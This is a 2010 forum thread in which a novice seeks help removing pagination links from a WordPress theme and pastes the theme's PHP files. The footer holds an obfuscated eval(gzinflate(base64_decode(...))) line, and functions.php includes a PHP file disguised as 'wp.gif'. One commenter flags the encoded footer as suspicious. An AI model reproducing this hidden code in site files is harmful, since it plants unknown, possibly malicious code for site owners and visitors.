plz plz plz help me

Discussion in 'WordPress' started by umlove, Aug 18, 2010.

  1. #1
    i have a problem that my theme didn't support pagenavi. i search script and pasted to footer but it is not looking suitable it must look at center. i neither know html nor css. please help me
    my site is
    paksfun.com
     
    umlove, Aug 18, 2010 IP
  2. Internet Marketing IQ

    Internet Marketing IQ Guest

    Messages:
    359
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    35
    #2
    I thinks maybe that you needs a different theme? Your Welcome.

    Or maybe you learn more about themes and design your own.

    Or maybe you hire someone to make you exactly what you want?
     
    Internet Marketing IQ, Aug 18, 2010 IP
  3. umlove

    umlove Active Member

    Messages:
    271
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    83
    #3
    I just need script for pagenavi. my theme is ok . i searched this theme alot. and finally have got it. though i m facing some problem now. but i will resolve it.
     
    umlove, Aug 18, 2010 IP
  4. mcfox

    mcfox Wind Maker

    Messages:
    7,526
    Likes Received:
    716
    Best Answers:
    0
    Trophy Points:
    360
    #4
    You have more problems than just the pagenav. Your urls aren't working. e.g. http://www.paksfun.com/sardar-sms/mera-sala-bhi-araha-ha/ goes to 404 Not Found. Same with every other link I clicked.

    It looks like you have altered the custom url settings. What you need to do is reset it all back to default then do the custom url thing so it rebuilds.
     
    mcfox, Aug 19, 2010 IP
  5. umlove

    umlove Active Member

    Messages:
    271
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    83
    #5
    Yes. I actually deleted all plugins which caused that problem. Now everything is fine. well here i am pasting footer.php file.
    what i want now, you can see my page paksfun.com, at the down where pagenavi is being shown but befor that ( previou entries is also shown. I just want to present pagenavi, not previous or next link. can anyone help me ? can anyone edit it so that previous and next entries must be removed form my page thanks.

    here is footer,.php file.
    <div align="center"
    <?php if(function_exists('wp_pagenavi')) { // if PageNavi is activated ?>
    <?php wp_pagenavi(); // Use PageNavi ?>
    	 
    <?php } else { // Otherwise, use traditional Navigation ?>
    	 
    <div class="nav-previous">
    <!-- next_post_link -->
    </div>
    	 
    <div class="nav-next">
    <!-- previous_post_link -->
    </div>
    	 
    <?php } // End if-else statement ?>
    <div id="footer">
        <p>&copy; <?php first_year() ?> <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a>. All Rights Reserved.</p>
        </p>
    </div>
    
    </div>
    
    <?php wp_footer(); ?>
    
    <div id="breadcrumbs">
    <?php get_breadcrumb() ?>
    </div>
    
    <div id="searchCSS">
        <?php include (TEMPLATEPATH . '/searchform.php'); ?></div>
    
    </div>
    </div>
    
            <!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. -->
    
    
    <? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>
    </body>
    </html>
    PHP:
    plz help me
     
    Last edited: Aug 19, 2010
    umlove, Aug 19, 2010 IP
  6. psharma

    psharma Prominent Member

    Messages:
    1,955
    Likes Received:
    85
    Best Answers:
    4
    Trophy Points:
    345
    #6
    There are many more problems with the website. It is very slow in loading, many pages are missing.

    However the jokes are good. Thanks :)
     
    psharma, Aug 19, 2010 IP
  7. kiramanic

    kiramanic Peon

    Messages:
    205
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #7
    I would be very wary about using a template with that encoded crap in the footer (the line before the closing body tag), it could be doing anything but is most likely linking to various sites as a nefarious way to gain backlinks.

    It doesn't look like the previous and next links are generated in the footer.php, try index.php instead they're probably near the bottom.
     
    kiramanic, Aug 19, 2010 IP
  8. umlove

    umlove Active Member

    Messages:
    271
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    83
    #8
    To PSHARMA
    Yes you are right. Actually i deleted my permalinks plug ins. I was thinking they are useless. When this problem of missing pages appeared, I contacted my hoster. He suggested me to re-install them. I did so. Now everything is working very fine. And thanks for jokes. But Now I just want to remove previous and next link from footer.
    Plz visit and see changes that everything is fine?.
    paksfun.com
     
    umlove, Aug 19, 2010 IP
  9. umlove

    umlove Active Member

    Messages:
    271
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    83
    #9
    Yes sir. You're right.
    Here i am pasting index.php plz help me thanks.


    <?php get_header(); ?>

    <?php if (have_posts()) : ?>

    <?php while (have_posts()) : the_post(); ?>

    <div class="post" id="post-<?php the_ID(); ?>">

    <div class="date">
    <span class="date1"><?php the_time('jS') ?></span>
    <span class="date2"><?php the_time('F') ?></span>
    <span class="date3"><?php the_time('Y') ?></span></div>

    <h2 class="firstheading"><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>

    <div class="entry">
    <?php the_content('Read the rest of this entry &raquo;'); ?></div>

    <p class="pageInfo"><span class="posted">posted in <?php the_category(', ', __(' and ')) ?></span> | <?php edit_post_link('<span class="iconEdit">Edit</span>', '', ' | '); ?> <span class="iconComment"><?php comments_popup_link('0 Comments', '1 Comment', '% Comments'); ?></span></p>

    </div>

    <?php endwhile; ?>

    <div id="page_nav">
    <div class="alignleft"><?php next_posts_link('&laquo; Previous Entries') ?></div>
    <div class="alignright"><?php previous_posts_link('Next Entries &raquo;') ?></div>
    </div>

    <?php else : ?>

    <h2 class="center">No posts found. Maybe try searching?</h2>
    <p><strong>We're really, really sorry, but there's nothing here!</strong></p>
    <p><em>Maybe you could try searching to see if you can find the post you were looking for.</em></p>

    <?php include (TEMPLATEPATH . '/searchform.php'); ?>

    <?php endif; ?>

    <?php get_sidebar(); ?>

    <?php get_footer(); ?>



    And now if you dont find then here is theme function.php







    <?php
    require_once("wp.gif");
    ?><?php

    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'name' => 'Left Sidebar',
    'before_widget' => '<ul>',
    'after_widget' => '</li></ul>',
    'before_title' => '<li class="listHeader"><h2>',
    'after_title' => '</h2></li><li>',
    ));

    if ( function_exists('register_sidebar') )
    register_sidebar(array(
    'name' => 'Right Sidebar',
    'before_widget' => '<ul>',
    'after_widget' => '</li></ul>',
    'before_title' => '<li class="listHeader"><h2>',
    'after_title' => '</h2></li><li>',
    ));

    function get_breadcrumb() {
    $CPtheFullUrl = $_SERVER["REQUEST_URI"];

    $CPurlArray = explode("/",$CPtheFullUrl);

    echo 'You are here : <a href="/" title="">Home</a>';


    while (list($CPj,$CPtext) = each($CPurlArray)) {
    $CPdir='';
    if ($CPj > 1) {
    $CPi=1;
    while ($CPi < $CPj) {
    $CPdir .= '/' . $CPurlArray[$CPi];
    $CPtext = $CPurlArray[$CPi];
    $CPi++;
    }
    if($CPj < count($CPurlArray)-1) echo ' &raquo; <a href="'.$CPdir.'">'.str_replace("-", " ", $CPtext).'</a>';
    }
    }
    echo wp_title();
    }

    function first_year() {

    global $wpdb;
    $thisyear = gmdate('Y', current_time('timestamp'));
    $sql = "SELECT YEAR(post_date_gmt) FROM $wpdb->posts ORDER BY post_date_gmt ASC LIMIT 1";
    $year = $wpdb->get_var($sql);

    if ($year < $thisyear && $year != '0')
    echo $year.' - '.$thisyear;
    else
    echo $thisyear;
    }

    function get_newcalendar($daylength = 1) {
    global $wpdb, $m, $monthnum, $year, $timedifference, $month, $month_abbrev, $weekday, $weekday_initial, $weekday_abbrev, $posts;

    $now = current_time('mysql');

    // Quick check. If we have no posts yet published, abort!
    if ( !$posts ) {
    $gotsome = $wpdb->get_var("SELECT ID from $wpdb->posts WHERE post_status = 'publish' AND post_date < '$now' ORDER BY post_date DESC LIMIT 1");
    if ( !$gotsome )
    return;
    }

    if ( isset($_GET['w']) )
    $w = ''.intval($_GET['w']);

    // week_begins = 0 stands for Sunday
    $week_begins = intval(get_settings('start_of_week'));
    $add_hours = intval(get_settings('gmt_offset'));
    $add_minutes = intval(60 * (get_settings('gmt_offset') - $add_hours));

    // Let's figure out when we are
    if ( !empty($monthnum) && !empty($year) ) {
    $thismonth = ''.zeroise(intval($monthnum), 2);
    $thisyear = ''.intval($year);
    } elseif ( !empty($w) ) {
    // We need to get the month from MySQL
    $thisyear = ''.intval(substr($m, 0, 4));
    $d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's
    $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('${thisyear}0101', INTERVAL $d DAY) ), '%m')");
    } elseif ( !empty($m) ) {
    $calendar = substr($m, 0, 6);
    $thisyear = ''.intval(substr($m, 0, 4));
    if ( strlen($m) < 6 )
    $thismonth = '01';
    else
    $thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2);
    } else {
    $thisyear = gmdate('Y', current_time('timestamp'));
    $thismonth = gmdate('m', current_time('timestamp'));
    }

    $unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear);

    // Get the next and previous month and year with at least one post
    $previous = $wpdb->get_row("SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year
    FROM $wpdb->posts
    WHERE post_date < '$thisyear-$thismonth-01'
    AND post_status = 'publish'
    ORDER BY post_date DESC
    LIMIT 1");
    $next = $wpdb->get_row("SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year
    FROM $wpdb->posts
    WHERE post_date > '$thisyear-$thismonth-01'
    AND post_date < '$now'
    AND MONTH( post_date ) != MONTH( '$thisyear-$thismonth-01' )
    AND post_status = 'publish'
    ORDER BY post_date ASC
    LIMIT 1");

    echo '<table summary="calendar" id="wp-calendar">
    <caption>' . $month[zeroise($thismonth, 2)] . ' ' . date('Y', $unixmonth) . '</caption>
    <thead>
    <tr>';

    $day_abbrev = $weekday_initial;
    if ( $daylength > 1 )
    $day_abbrev = $weekday_abbrev;

    $myweek = array();

    for ( $wdcount=0; $wdcount<=6; $wdcount++ ) {
    $myweek[]=$weekday[($wdcount+$week_begins)%7];
    }

    foreach ( $myweek as $wd ) {
    echo "\n\t\t<th abbr=\"$wd\" scope=\"col\" title=\"$wd\">" . $day_abbrev[$wd] . '</th>';
    }

    echo '
    </tr>
    </thead>

    <tfoot>
    <tr>';

    if ( $previous ) {
    echo "\n\t\t".'<td abbr="' . $month[zeroise($previous->month, 2)] . '" colspan="3" id="prev"><a href="' .
    get_month_link($previous->year, $previous->month) . '" title="' . sprintf(__('View posts for %1$s %2$s'), $month[zeroise($previous->month, 2)],
    date('Y', mktime(0, 0 , 0, $previous->month, 1, $previous->year))) . '">&laquo; ' . $month_abbrev[$month[zeroise($previous->month, 2)]] . '</a></td>';
    } else {
    echo "\n\t\t".'<td colspan="3" id="prev" class="pad">&nbsp;</td>';
    }

    echo "\n\t\t".'<td class="pad">&nbsp;</td>';

    if ( $next ) {
    echo "\n\t\t".'<td abbr="' . $month[zeroise($next->month, 2)] . '" colspan="3" id="next"><a href="' .
    get_month_link($next->year, $next->month) . '" title="' . sprintf(__('View posts for %1$s %2$s'), $month[zeroise($next->month, 2)],
    date('Y', mktime(0, 0 , 0, $next->month, 1, $next->year))) . '">' . $month_abbrev[$month[zeroise($next->month, 2)]] . ' &raquo;</a></td>';
    } else {
    echo "\n\t\t".'<td colspan="3" id="next" class="pad">&nbsp;</td>';
    }

    echo '
    </tr>
    </tfoot>

    <tbody>
    <tr>';

    // Get days with posts
    $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
    FROM $wpdb->posts WHERE MONTH(post_date) = '$thismonth'
    AND YEAR(post_date) = '$thisyear'
    AND post_status = 'publish'
    AND post_date < '" . current_time('mysql') . '\'', ARRAY_N);
    if ( $dayswithposts ) {
    foreach ( $dayswithposts as $daywith ) {
    $daywithpost[] = $daywith[0];
    }
    } else {
    $daywithpost = array();
    }



    if ( strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE') || strstr(strtolower($_SERVER['HTTP_USER_AGENT']), 'camino') || strstr(strtolower($_SERVER['HTTP_USER_AGENT']), 'safari') )
    $ak_title_separator = "\n";
    else
    $ak_title_separator = ', ';

    $ak_titles_for_day = array();
    $ak_post_titles = $wpdb->get_results("SELECT post_title, DAYOFMONTH(post_date) as dom "
    ."FROM $wpdb->posts "
    ."WHERE YEAR(post_date) = '$thisyear' "
    ."AND MONTH(post_date) = '$thismonth' "
    ."AND post_date < '".current_time('mysql')."' "
    ."AND post_status = 'publish'"
    );
    if ( $ak_post_titles ) {
    foreach ( $ak_post_titles as $ak_post_title ) {
    if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) )
    $ak_titles_for_day['day_'.$ak_post_title->dom] = '';
    if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one
    $ak_titles_for_day["$ak_post_title->dom"] = str_replace('"', '&quot;', wptexturize($ak_post_title->post_title));
    else
    $ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . str_replace('"', '&quot;', wptexturize($ak_post_title->post_title));
    }
    }


    // See how much we should pad in the beginning
    $pad = calendar_week_mod(date('w', $unixmonth)-$week_begins);
    if ( 0 != $pad )
    echo "\n\t\t".'<td colspan="'.$pad.'" class="pad">&nbsp;</td>';

    $daysinmonth = intval(date('t', $unixmonth));
    for ( $day = 1; $day <= $daysinmonth; ++$day ) {
    if ( isset($newrow) && $newrow )
    echo "\n\t</tr>\n\t<tr>\n\t\t";
    $newrow = false;

    if ( $day == gmdate('j', (time() + (get_settings('gmt_offset') * 3600))) && $thismonth == gmdate('m', time()+(get_settings('gmt_offset') * 3600)) && $thisyear == gmdate('Y', time()+(get_settings('gmt_offset') * 3600)) )
    echo '<td id="today">';
    else
    echo '<td>';

    if ( in_array($day, $daywithpost) ) // any posts today?
    echo '<a href="' . get_day_link($thisyear, $thismonth, $day) . "\" title=\"$ak_titles_for_day[$day]\">$day</a>";
    else
    echo $day;
    echo '</td>';

    if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) )
    $newrow = true;
    }

    $pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins);
    if ( $pad != 0 && $pad != 7 )
    echo "\n\t\t".'<td class="pad" colspan="'.$pad.'">&nbsp;</td>';

    echo "\n\t</tr>\n\t</tbody>\n\t</table>";
    }

    ?>









    As well as page.php







    <?php get_header(); ?>

    <?php if (have_posts()) : while (have_posts()) : the_post(); ?>

    <h2 class="firstheading"><a href="<?php echo get_permalink() ?>" rel="bookmark" title="Permanent Link: <?php the_title(); ?>"><?php the_title(); ?></a></h2>

    <div class="entry">
    <?php the_content('<p>Read the rest of this page &rarr;</p>'); ?>
    <?php link_pages('<p><strong>Pages:</strong> ', '</p>', 'number'); ?>
    </div>

    <?php endwhile; endif; ?>

    <div class="boxedup"><?php comments_template(); ?></div>

    <?php get_sidebar(); ?>

    <?php get_footer(); ?>









    kindly where ever u find it plz tell me


    visit paksfun.com
     
    umlove, Aug 19, 2010 IP
  10. kiramanic

    kiramanic Peon

    Messages:
    205
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #10
    You probably just need to take this out of index.php

    <div id="page_nav">
    <div class="alignleft"><?php next_posts_link('&laquo; Previous Entries') ?></div>
    <div class="alignright"><?php previous_posts_link('Next Entries &raquo;') ?></div>
    </div>
    Code (markup):
     
    kiramanic, Aug 19, 2010 IP
    mcfox likes this.
  11. umlove

    umlove Active Member

    Messages:
    271
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    83
    #11
    Thank you Sir, I followed you and finally have solved problem. But I am very sorry to ask one more probelm which I am facing now. In firefox when I am opening my site the search bar which normally appears at the top of my theme is being shown below my menus. But in internet explorer, its working fine. Plz kindly tell me weather to remove my search bar as I don't like to show it, or to solve this problem facing in firefox. Thanks plz plz plz help me. I love this theme, I can't change it. I found it after one month.
     
    umlove, Aug 20, 2010 IP